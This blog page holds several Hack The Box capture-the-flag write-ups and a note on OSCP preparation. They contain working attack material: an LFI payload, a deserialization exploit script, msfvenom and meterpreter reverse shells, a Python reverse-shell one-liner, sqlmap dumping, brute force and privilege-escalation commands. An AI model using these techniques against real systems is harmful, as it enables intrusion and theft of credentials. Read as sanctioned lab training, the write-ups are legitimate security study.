BroScience – Hack The Box


3 ports open:

22/tcp open ssh
80/tcp open http
443/tcp open https

It looks like a custom CMS about exercising:

Clicking on “administrator” lead to a user page:

We change the ID in the URL and can exfiltrate all bros:

  • administrator (only one who is admin)
  • bill
  • michael
  • john
  • dmytro

I used Hydra to force a login but after many tries, I gave up:

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -s 443 broscience.htb https-post-form "/login.php:username=^USER^&password=^PASS^:danger"

I noticed that images are not referenced directly but rather fetched using a potential LFI in PHP, i.e. /includes/img.php?path=bench.png

Trying anything with “../” will display “Error: Attack detected.”

I though of trying the php://, expect://, file:// wrappers, but none for them worked.

In the end I gave up and automated the task. I downloaded this list:

And wrote this small Python script:

import ssl
import urllib.request
import urllib.parse

pwn = open('dotdotpwn.txt')

for line in pwn:
        line = line.strip()
        req = urllib.request.urlopen('https://broscience.htb/includes/img.php?path='+line,context=ssl._create_unverified_context())
        ans =
        if 'root:' in ans:
                print('Payload found: ' + line)

Executing it gave us the answer:

$ python3
Payload found: ..%252f..%252f..%252f..%252fetc%252fpasswd

Awesome. Using this payload we can fetch files from the server. Let’s take a look at the users:

bill and _laurel look interesting. postgresql also has /bin/bash.

Now that we can fetch files, let’s look what dirbuster can find:

I downloaded any relevant .php files like so:

curl -k https://broscience.htb/includes/img.php?path=..%252findex.php > index.php

Using grep -r ".php" . I searched for any .php files I might have missed, but that was all:

Of course, now we have credentials to the database:

In the meanwhile, as I was analyzing the PHP files, I found a potential vulnerability in utils.php.

The Avatar class writes a file using the save() function. The save() function is called by AvatarInterface in __wakeup(), which is called after you unserialize() an object of class AvatarInterface. If we set the 'user-prefs' cookie manually with a serialized instance of AvatarInterface we can get it to write a reverse shell to a file. But for that, we will need a user. If we register a user, we need to guess 32 character alphanumeric code to activate it. However, that may not be as complicated as we think, since the generation of the activation code seems to be deterministic in generate_activation_code().

Since registration and activation seem a little bit too much to do manually, and they probably have to happen in quick succession (the site deletes users after some time), it’s better to develop our own exploit for this.

// Read the local IP from STDIN
$local_ip = trim(fgets(STDIN));

// Class needed for the payload
class AvatarInterface {
    public $tmp;
    public $imgPath;

    public function __wakeup() {
        $a = new Avatar($this->imgPath);

// GET request using cURL
function get($url, $cookie = '') {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

    if (!empty($cookie)) {
        $headers = array();
        $headers[] = 'Cookie: ' . $cookie;
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
        die('[-] Error:' . curl_error($ch) . "\n");

    return $result;

// POST request using cURL
function post($url, $data) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
        die('[-] Error:' . curl_error($ch) . "\n");

    return $result;

// Generates possible activation codes for the time when the user was created
// plus/minus $timespan seconds.
function possible_activation_codes($time) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    $timespan = 5; // Generate codes for +/- $timespan seconds
    $codes = [];
    for ($t = $time - $timespan; $t <= $time + $timespan; $t++) {
        $activation_code = "";
        for ($i = 0; $i < 32; $i++) {
            $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
        $codes []= $activation_code;
    return $codes;

// Registers a new account
$username = uniqid();
$password = '123';
$time_of_registration = time();
$result = post('https://broscience.htb/register.php', "username=$username&email=$username%40broscience.htb&password=$password&password-confirm=$password");
if (str_contains($result, 'Account created')) {
    echo '[+] Account created: ' . $username . "\n";
} else {
    die('[-] Failed to create account.' . "\n");

// Activates the account
$codes = possible_activation_codes($time_of_registration);
$tries = 0;
foreach($codes as $code) {
    echo '[-] Trying code: ' . $code . "\n";
    $result = get('https://broscience.htb/activate.php?code=' . $code);

    if (str_contains($result, 'Account activated')) {
        echo '[+] Account activated!' . "\n";
if ($tries == count($codes)) die('[-] Failed to activate account. Try increasing $timespan' . "\n");

// Uses the account to authenticate
$result = post('https://broscience.htb/login.php',"username=$username&password=$password");
preg_match('/PHPSESSID=(.+);/', $result, $matches);
$phpsessid = $matches[1];
echo '[+] Got PHPSESSID!' . "\n";

// Uploads a PHP reverse shell
$payload = new AvatarInterface();
$payload->tmp = 'http://'.$local_ip.'/shelly.php';
$payload->imgPath = '/var/www/html/shelly.php';
$payload = base64_encode(serialize($payload));
$result = get('https://broscience.htb/user.php',"PHPSESSID=$phpsessid; user-prefs=$payload");
echo '[+] Payload uploaded!' . "\n";

// Executes the reverse shell
echo '[+] Payload executing... check msfconsole and then Ctrl+C this!' . "\n";
echo '[-] You should not see this line, started the python http server?' . "\n";

Now, we open 3 terminal tabs and run the following:

# Terminal 1
msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=4444 -f raw -o shelly.php
python3 -m http.server 80

# Terminal 2
msfconsole -qx "use exploit/multi/handler;set PAYLOAD php/meterpreter/reverse_tcp;set LHOST;set LPORT 4444;run"

# Terminal 3:
echo '' | php exploit.php

And of course, it worked!

And after many hours and an annoyed girlfriend in the house, we got an initial foothold on the server!

Next step is to get the flags, which was actually very easy to obtain. Not sure if this was the intended path:

# Switch to a shell
meterpreter > shell

# Stabilize it and make it nice with python
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Search for SUID binaries
bash-5.1$ find / -perm -u=s -type f 2>/dev/null

bash-5.1$ bash -p

bash-5.1# whoami

bash-5.1# cat /root/root.txt

bash-5.1# cat /home/bill/user.txt

What did we learn from this box? I have to admit gaining an initial foothold was pretty tough. Not difficult as such, but required in-depth analysis of the web application source code for common mistakes. Sometimes you just have to develop your own exploits!

PS: I’ve read from other walkthroughs that this was not the intended path, and I found some evidence on the machine (certificate generation by root) while getting the flags that I ignored since the SUID binary path was much easier. How did the SUID binary get there? From some other user that was solving the machine at the same time. I will revisit this machine in the future and update the this article accordingly.

Bashed – Hack The Box


I will skip the usual “add the host IP to /etc/hosts” etc etc etc…

Enumerate ports:

nmap -p- bashed.htb
Starting Nmap 7.93 ( ) at 2023-01-09 10:35 EST
Nmap scan report for bashed.htb (
Host is up (0.066s latency).
Not shown: 65534 closed tcp ports (conn-refused)
80/tcp open  http

Visit the URL at http://bashed.htb/

Quickly enumerate using dirb:

$ dirb http://bashed.htb/ 

DIRB v2.22    
By The Dark Raver

START_TIME: Mon Jan  9 10:36:05 2023
URL_BASE: http://bashed.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: http://bashed.htb/ ----
==> DIRECTORY: http://bashed.htb/css/                                                                                   
==> DIRECTORY: http://bashed.htb/dev/

Take a wild guess and append /phpbash.php to /dev/, and voila:

User pwned.

PS: It is even easier if you click on the article link in the home page.

Onto r0ot!

First, let’s get a Meterpreter reverse shell to make out lives easier:

In Kali:

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f elf -o shelly.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: shelly.elf

$ python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [09/Jan/2023 10:47:32] "GET /shelly.elf HTTP/1.1" 200 -

$ msfconsole   
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost
lhost =>
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

In http://bashed.htb/dev/phpbash.php:

www-data@bashed:/tmp# cd /tmp
www-data@bashed:/tmp# wget

--2023-01-09 07:47:43--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 250 [application/octet-stream]
Saving to: 'shelly.elf'

0K 100% 996K=0s

2023-01-09 07:47:43 (996 KB/s) - 'shelly.elf' saved [250/250]

www-data@bashed:/tmp# chmod 755 shelly.elf
www-data@bashed:/tmp# ./shelly.elf

Back in Kali:

[*] Started reverse TCP handler on 
[*] Sending stage (3045348 bytes) to
[*] Meterpreter session 1 opened ( -> at 2023-01-09 10:49:43 -0500

meterpreter > getuid
Server username: www-data

I can easily get root using the exploit/linux/local/bpf_sign_extension_priv_esc payload since this is a 5-year-old machine, but I want to look around for the intended path first.

After some digging around, I managed to escalate privileges as user scriptmanager:

$ sudo -l 
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
$ sudo -u scriptmanager bash -i
$ id
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)

When out of ideas, try

$ cd /tmp
$ wget
$ chmod 755
$ ./

Interesting, let’s investigate:

$ ls -hali /scripts
total 16K
34468 drwxrwxr--  2 scriptmanager scriptmanager 4.0K Jun  2  2022 .
    2 drwxr-xr-x 23 root          root          4.0K Jun  2  2022 ..
43823 -rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017
34781 -rw-r--r--  1 root          root            12 Jan  9 08:19 test.txt

$ cat
f = open("test.txt", "w")
f.write("testing 123!")

$ cat test.txt 
testing 123!

text.txt has a very recent timestamp and is owned by root, which means root is likely executing regularly. Let’s put a reverse shell in there (this time without Metasploit for the fun of it). Run this locally:

$ nc -lvnp 6666

And on the remote machine as scriptmanager:

$ echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' > /scripts/

$ cat /scripts/
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

After a few seconds, we get a connection back from root and we find the flag:

$ nc -lvnp 6666      
listening on [any] 6666 ...
connect to [] from (UNKNOWN) [] 37194

# id
uid=0(root) gid=0(root) groups=0(root)

# cat /root/root.txt

What did we learn from this machine? It pays off to fight the urge to use an easy exploit with Metasploit. This was undoubtedly a more exciting path.

Shocker – Hack The Box


On to the next machine! Me being lazy just trying port 80 before doing any scan:


So let’s bug him? We got the following software running on the server:

$ sudo nmap -sV -O shocker.htb
80/tcp     open  http     Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

Old Apache means we should look for scripts in /cgi-bin and maybe be able to exploit one using Shellshock.

After much (dir)busting, I found this:

$ curl http://shocker.htb/cgi-bin/
Content-Type: text/plain

Just an uptime test script

 08:49:56 up  1:21,  0 users,  load average: 0.06, 0.06, 0.01

Then I used Metasploit with the following options (truncated default values from the paste) and got an initial foothold as a user:

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > options

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name            Current Setting   Required  Description
   ----                    ---------------        --------       -----------
   RHOSTS          shocker.htb       yes       The target host(s)
   RPORT            80                      yes       The target port (TCP)
   TARGETURI    /cgi-bin/  yes       Path to CGI script

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----            ---------------      --------       -----------
   LHOST       yes       The listen address (an interface may be specified)
   LPORT  4444                yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Linux x86_64

View the full module info with the info, or info -d command.

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > run

[*] Started reverse TCP handler on 
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (1017704 bytes) to
[*] Meterpreter session 1 opened ( -> at 2023-01-09 08:58:46 -0500

meterpreter > getuid
Server username: shelly

And we have the user flag:

meterpreter > cat /home/shelly/user.txt

Getting root doesn’t seem to be much more complicated. We can run sudo perl as root without any password:

meterpreter > shell
Process 3852 created.
Channel 4 created.
python3 -c 'import pty;pty.spawn("/bin/bash")'
shelly@Shocker:~$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

So we g3t r00t and find the flag:

$ echo "system('whoami');" | sudo /usr/bin/perl    

$ echo "system('cat /root/root.txt');" | sudo /usr/bin/perl

What did we learn from this machine?

If the server looks empty, keep enumerating the URL. Go into specific file types that one may expect to find in directions like cgi-bin. E.g. don’t look for .php files in cgi-bin but rather .cgi or .sh.

Brainfuck – Hack The Box


Alright, I have to mention this one has intimidated me. It has a level of “insane.”

Let’s start. A simple portscan reveals the following open ports:

$ nmap
Starting Nmap 7.93 ( ) at 2023-01-08 06:38 EST
Nmap scan report for
Host is up (0.023s latency).
Not shown: 995 filtered tcp ports (no-response)
22/tcp open ssh
25/tcp open smtp
110/tcp open pop3
143/tcp open imap
443/tcp open https

The SSL cert points to brainfuck.htb, so we better add that to the /etc/hosts file: brainfuck.htb

It seems that it runs a WordPress installation, with a cryptic message: “SMTP Integration is ready. Please check and send feedback to orestis@brainfuck.htb”. Some really guess:

  1. Gain access and upload a web shell?
  2. Do something with port 25 as user orestis?

At least we know that the admin user is called “admin”. Otherwise, our very helpful login page tells us that the user doesn’t exist:

Using wpscan we find the following helpful information:

$ wpscan --disable-tls-checks --url "https://brainfuck.htb/"
[+] XML-RPC seems to be enabled: https://brainfuck.htb/xmlrpc.php
[+] WordPress readme found: https://brainfuck.htb/readme.html
[+] The external WP-Cron seems to be enabled: https://brainfuck.htb/wp-cron.php
[+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06).
[+] WordPress theme in use: proficient
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[+] wp-support-plus-responsive-ticket-system version 7.1.3

Nice, a smörgåsboard of possibilities. The plugin “Support Plus Responsive Ticket System 7.1.3” has two public exploits:

  1. Privilege Escalation:
  2. SQL Injection:

Let’s try to authenticate as admin using the following HTML code:

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="admin">
	<input type="hidden" name="email" value="sth">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">

Oui oui, je suis admin!

Now let’s create a nice Meterpreter reverse_tcp PHP payload:

$ msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=4444 -f raw -o shelly.php

And paste it in the bottom of footer.php at https://brainfuck.htb/wp-admin/theme-editor.php?file=footer.php&theme=proficient

Oh wait, there is no save button. Oh wait, the file is not writable! Argh… You see, guys, I’m not making this up. This is me trying to solve the CTF in real-time.

Let’s try the SQL injection vulnerability. Maybe helpful something is hidden in the depths of MySQL.

According to the exploit, the POST parameter “cat_id” in the wp/admin/admin-ajax.php path is vulnerable. This sqlmap command dumps the database:

sqlmap --dbms=mysql -u "https://brainfuck.htb/wp-admin/admin-ajax.php" --method POST --data "action=wpsp_getCatName&cat_id=0" -p cat_id --cookie='PASTE_HERE_COOKIES_FROM_AN_AUTHENTICATED_SESSION' --level 3 --risk 3 --dump

This will take some time, get some coffee and watch a couple of Mr. Robot episodes on Netflix. There are probably more efficient ways of extracting the database, but I feel lazy right now.

Oh wait (again), while lazy-browsing around I found this page, containing the following SMTP credentials at https://brainfuck.htb/wp-admin/options-general.php?page=swpsmtp_settings

SMTP username: orestis
SMTP password: kHGuERB29DNiNE

Using these credentials, we can authenticate towards the POP3 server (likely also the IMAP) using Thunderbird and fetch the emails for user orestis. There is an interesting message from root:

Hi there, your credentials for our "secret" forum are below ?

username: orestis
password: kIEnnfEKJ#9UmdO


Looking at the SSL certificate for brainfuck.htb we can find the “secret” forum:

$ echo "" | openssl s_client -connect brainfuck.htb:443 > cert.key; openssl x509 -in cert.key -text -noout | grep DNS
DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb

Which we add to /etc/hosts and visit the URL https://sup3rs3cr3t.brainfuck.htb/

After we authenticate using the aforementioned credentials, we see the following interesting conversation in the forum at https://sup3rs3cr3t.brainfuck.htb/d/3-key

This looks like a cipher. If we look at orestis’ profile, we can see he always signs his messages with the following:

Orestis - Hacking for fun and profit
Pieagnm - Jkoijeg nbw zwx mle grwsnn
Wejmvse - Fbtkqal zqb rso rnl cwihsf
Qbqquzs - Pnhekxs dpi fca fhf zdmgzt

We can safely assume that these strings mean the same thing. Knowing a common factor across several messages is partially how Rejewski cracked the Enigma cipher. Do we have something similar here?

We can also safely assume that this is the link to the SSH key, and thus something like:


Now let’s try to solve this. If we calculate the distances and arrange them like so, we can see a kind of pattern:

If we try to fill in the blanks, and “re-arrange” the parts of the sequence that repeat, we get something like this:

After many hours of sweat and tears (aka decoding a small piece, using it to get new offsets, decoding another small piece, etc…), I finally managed to decode the messages by writing a small PHP script (why PHP? I hate snakes):

$key = [21,6,24,16,14,2,25,9,0,18,13]; # Same as above but modulo 26.

$texts = [];
$texts []= "Mya qutf de buj otv rms dy srd vkdof :) Pieagnm - Jkoijeg nbw zwx mle grwsnn";
$texts []= "Xua zxcbje iai c leer nzgpg ii uy...";
$texts []= "Ufgoqcbje.... Wejmvse - Fbtkqal zqb rso rnl cwihsf";
$texts []= "Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg :) mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja";
$texts []= "Si rbazmvm, Q'yq vtefc gfrkr nn ;) Qbqquzs - Pnhekxs dpi fca fhf zdmgzt";

foreach ($texts as $text) {
    $di = 0;
    for ($i = 0; $i < strlen($text); $i++) {
        if (ctype_alpha($text[$i])) {
            $c = ord($text[$i]);
            $shift = $key[$di++ % count($key)];
            $cn = $c + $shift;

            if ($c >= ord("a") && $c <= ord("z")) {
                while ($cn < ord("a")) $cn += 26;
                while ($cn > ord("z")) $cn -= 26;
            } else if ($c >= ord("A") && $c <= ord("Z")) {
                while ($cn < ord("A")) $cn += 26;
                while ($cn > ord("Z")) $cn -= 26;

            echo chr( $cn );

        } else {
            echo $text[$i];
    echo "\n";

It is sort-off a XOR cipher, but with modulo 26 addition instead of XOR and offset by the ASCII value for “a” or “A.”

PS from the next day: Apparently, this is the “Vigenère cipher,” and the password is “FUCKMYBRAIN.” Look at this beauty:

$ php -r 'foreach (str_split("FUCKMYBRAIN") as $c) echo (1+ord("Z")-ord($c)).",";';
21,6,24,16,14,2,25,9,26,18,13, # Same as I came up with

I’m proud that I managed to solve it without any knowledge of what a Vigenère cipher is.

Running my script gives us the solution:

$ php decode.php 
Hey give me the url for my key bitch :) Orestis - Hacking for fun and profit
Say please and i just might do so...
Pleeeease.... Orestis - Hacking for fun and profit
There you go you stupid fuck, I hope you remember your key password because I dont :) https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
No problem, I'll brute force it ;) Orestis - Hacking for fun and profit

Don’t you love their chemistry? I certainly do.

Anyways, now we can download the private key and try login to the machine using SSH:

$ wget --no-check-certificate https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
$ chmod 600 id_rsa
$ ssh -l orestis -i id_rsa brainfuck.htb
Enter passphrase for key 'id_rsa':

Oh well, fuck. We have to brute force the private key password:

$ ssh2john id_rsa > id_rsa.john
$ john id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt
3poulakia! (id_rsa)

And the password has been found. By the way, it means “3 small birds” in Greek. Που κάθονταν τα τρια πουλάκια ρε μεγάλε Ορέστη;

May we finally log in to the machine?

$ ssh -l orestis -i id_rsa brainfuck.htb      
Enter passphrase for key 'id_rsa': (3poulakia!)
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)

 * Documentation:
 * Management:
 * Support:

0 packages can be updated.
0 updates are security updates.

You have mail.
Last login: Mon Oct  3 19:41:38 2022 from
orestis@brainfuck:~$ id
uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)

YES! And the user flag is:

$ cat user.txt

Now let’s get root.

Ehm, I got root very quickly. I don’t think this was the intended path (old machine/new exploits). Basically, I upgraded to a meterpreter shell, ran the post/multi/recon/local_exploit_suggester module, and then ran the exploit/linux/local/bpf_sign_extension_priv_esc module, which was one of the many exploits suggested. I instantly got root, and the flag was right there:

meterpreter > cat /root/root.txt

But let’s try to get root the way we were intended to. If we look in orestis’ home dir, there is a script named encrypt.sage that encrypts the root flag and saves it in /home/orestis/output.txt. It looks like an RSA encryption implementation in SageMath. SageMath is a Python-based open-source scripting language for mathematicians. All the information, including the p, q and e keys used during encryption, are available in /home/orestis/debug.txt.

nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)

n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)

c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')

Using the information available, I wrote another SageMath script that decrypts the root flag:

# The encrypted message
c = Integer(int(open("output.txt").read().split(" ")[2].strip()));

# Values that were used during encryption
p = Integer(int(open("debug.txt").read().split('\n')[0].strip()));
q = Integer(int(open("debug.txt").read().split('\n')[1].strip()));
e = Integer(int(open("debug.txt").read().split('\n')[2].strip()));
phi = (p-1)*(q-1)
n = p*q

# In RSA, the decryption key d is the multiplicative inverse of e.
# We compute is as such:
d = pow(e, -1, phi)

# And thus the remainder of e*d dividing phi must be equal to 1:
print "This must be equal to 1: " + str((e*d) % phi)

# Now that we have the decryption key d we decrypt message c as such:
m = pow(c, d, n)

print "Root flag: " + ('%x' % int(m)).decode('hex')

And tada, we get the same key once again:

$ sage decrypt.sage
This must be equal to 1: 1
Root flag: 6efc********************************

What did we learn from this box? Two things for me:

  1. Even “insane” machines have a solution given enough time.
  2. Older machines are most certainly easier to root using new exploits and vulnerabilities, but maybe I should stick to the intended path if I want to learn something.

Lame – Hack The Box


Since this is the first machine for this journey, let’s that by downloading the OpenVPN configuration from HTB and creating a quick alias to connect (I will be using Kali Linux by the way, not the integrated Pwnbox):

$ echo "alias htb='sudo openvpn /home/kali/VPNs/htb.ovpn'" >> ~/.zshrc (or ~/.bashrc)

Logout / Login and then:

$ htb

Let’s start with a plain nmap:

$ nmap
Starting Nmap 7.93 ( ) at 2023-01-08 04:22 EST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.04 seconds
$ ping
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=63 time=22.0 ms
64 bytes from icmp_seq=2 ttl=63 time=22.6 ms

Which is immediately lying that the machine doesn’t respond to ping. You need to add the -Pn flag to scan a machine that doesn’t “respond to ping”:

$ nmap -Pn
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 4.78 seconds

It seems the machine has SMB shares, let’s enumerate them:

$ smbclient -L
Password for [WORKGROUP\kali]: (empty)
Anonymous login successful

Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
tmp             Disk      oh noes!
opt             Disk      
IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))

Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

Server                   Comment
---------                   -------
Workgroup            Master
---------                   -------

“oh noes!”? lol. Lame, I guess? Let’s see what we find in tmp:

$ smbclient \\\tmp 130 ⨯
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: > ls
. D 0 Sun Jan 8 04:31:20 2023
.. DR 0 Sat Oct 31 03:33:58 2020
.ICE-unix DH 0 Sun Jan 8 04:20:46 2023
vmware-root DR 0 Sun Jan 8 04:21:13 2023
.X11-unix DH 0 Sun Jan 8 04:21:12 2023
.X0-lock HR 11 Sun Jan 8 04:21:12 2023
vgauthsvclog.txt.0 R 1600 Sun Jan 8 04:20:44 2023
5574.jsvc_up R 0 Sun Jan 8 04:21:50 2023

7282168 blocks of size 1024. 5386552 blocks available

Of these files, only vgauthsvclog.txt.0 and .X0-lock are downloadable, and they contain no valuable information. None of the other shares seems to be useful either. Maybe we need to find some credentials first.

The other open services did not accept connections without credentials either. However, I noticed generally outdated software running. Let’s do a deeper scan and see if there is a vulnerability we can find:

$ sudo nmap -Pn -script vuln,default -p21,22,139,445 -sV -O

It turns out Samba 3.0.20-Debian is vulnerable to CVE-2007-2447. Use the Metasploit framework and apply the multi/samba/usermap_script module:

cat /root/root.txt
cat /home/makis/user.txt

There are a few more interesting paths on this machine. My guess is there is more than one way to the flags, but I will leave this up to you to explore!

So what did we learn from this machine? Sometimes a host is so open you don’t know where to start =).

PS: Γεια σου Μάκη!

Path to OSCP/PEN-200

Over the next few months (years?) I will document my attempt to obtain the OSCP certification on this blog. By doing my own research online, I have concluded that probably the following path is the most optimal:

  1. Complete the Offensive Pentesting TryHackMe learning path – Done.
  2. Complete TJ_Null’s list of Hack The Box OSCP-like machines.
  3. Enroll in the OSCP/PEN-200 course and complete your certification.

As evident by the list above, I have completed the first step:

So the next step is to complete TJ_Null’s list.

I’m aware that many other security professionals have done similarly in the past, and this is my way of learning while returning to this site and reviewing my notes. As a bonus, you can use my notes in your journey should you decide to take the OSCP certification.

By the way, here is my Hack The Box profile, and yes, sadly, you will need a VIP subscription to be able to access retired machines. I purchased the annual subscription and canceled it immediately so that it doesn’t surprise me by renewing automatically in a year.

Want to follow my journey in real time? Subscribe to this site’s RSS feed (yes, this still is a thing).